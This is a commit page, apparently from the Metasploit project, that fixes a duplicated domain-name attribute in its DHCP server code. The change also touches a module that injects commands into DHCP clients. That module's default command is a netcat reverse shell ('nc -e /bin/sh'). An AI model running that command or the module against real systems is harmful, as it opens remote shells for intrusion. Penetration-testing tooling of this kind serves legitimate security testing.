Skip to content

Commit e1f00a8

Browse files
committed
Fix Rex because domainname and domain_name were duplicated
1 parent 5044117 commit e1f00a8

File tree

3 files changed

+4
-8
lines changed

3 files changed

+4
-8
lines changed

lib/rex/proto/dhcp/constants.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,6 @@ module DHCP
2222
OpDomainName = 15
2323
OpDns = 6
2424
OpHostname = 0x0c
25-
OpDomainname = 0x0f
2625
OpURL = 0x72
2726
OpEnd = 0xff
2827

lib/rex/proto/dhcp/server.rb

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,6 @@ def initialize(hash, context = {})
3131
self.myfilename << ("\x00" * (128 - self.myfilename.length))
3232

3333
source = hash['SRVHOST'] || Rex::Socket.source_address
34-
self.domain_name = hash['DOMAINNAME'] || nil
3534
self.ipstring = Rex::Socket.addr_aton(source)
3635

3736
ipstart = hash['DHCPIPSTART']
@@ -96,7 +95,7 @@ def initialize(hash, context = {})
9695
self.pxepathprefix = ""
9796
self.pxereboottime = 2000
9897

99-
self.domainname = hash['DOMAINNAME'] if hash.include?('DOMAINNAME')
98+
self.domain_name = hash['DOMAINNAME'] || nil
10099
self.url = hash['URL'] if hash.include?('URL')
101100
end
102101

@@ -130,7 +129,7 @@ def set_option(opts)
130129
allowed_options = [
131130
:serveOnce, :pxealtconfigfile, :servePXE, :relayip, :leasetime, :dnsserv,
132131
:pxeconfigfile, :pxepathprefix, :pxereboottime, :router,
133-
:give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domainname, :url
132+
:give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domain_name, :url
134133
]
135134

136135
opts.each_pair { |k,v|
@@ -159,7 +158,7 @@ def send_packet(ip, pkt)
159158
attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce
160159
attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn
161160
attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE
162-
attr_accessor :give_hostname, :served_hostname, :served_over, :reporter, :domainname, :url
161+
attr_accessor :give_hostname, :served_hostname, :served_over, :reporter, :url
163162

164163
protected
165164

@@ -324,7 +323,6 @@ def dispatch_request(from, buf)
324323
pkt << dhcpoption(OpHostname, send_hostname)
325324
end
326325
end
327-
pkt << dhcpoption(OpDomainname, self.domainname) if self.domainname
328326
pkt << dhcpoption(OpURL, self.url) if self.url
329327
pkt << dhcpoption(OpEnd)
330328

modules/auxiliary/server/dhclient_bash_env.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -46,10 +46,9 @@ def initialize
4646

4747
register_options(
4848
[
49-
OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
49+
OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
5050
], self.class)
5151

52-
5352
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
5453
end
5554

0 commit comments

Comments
 (0)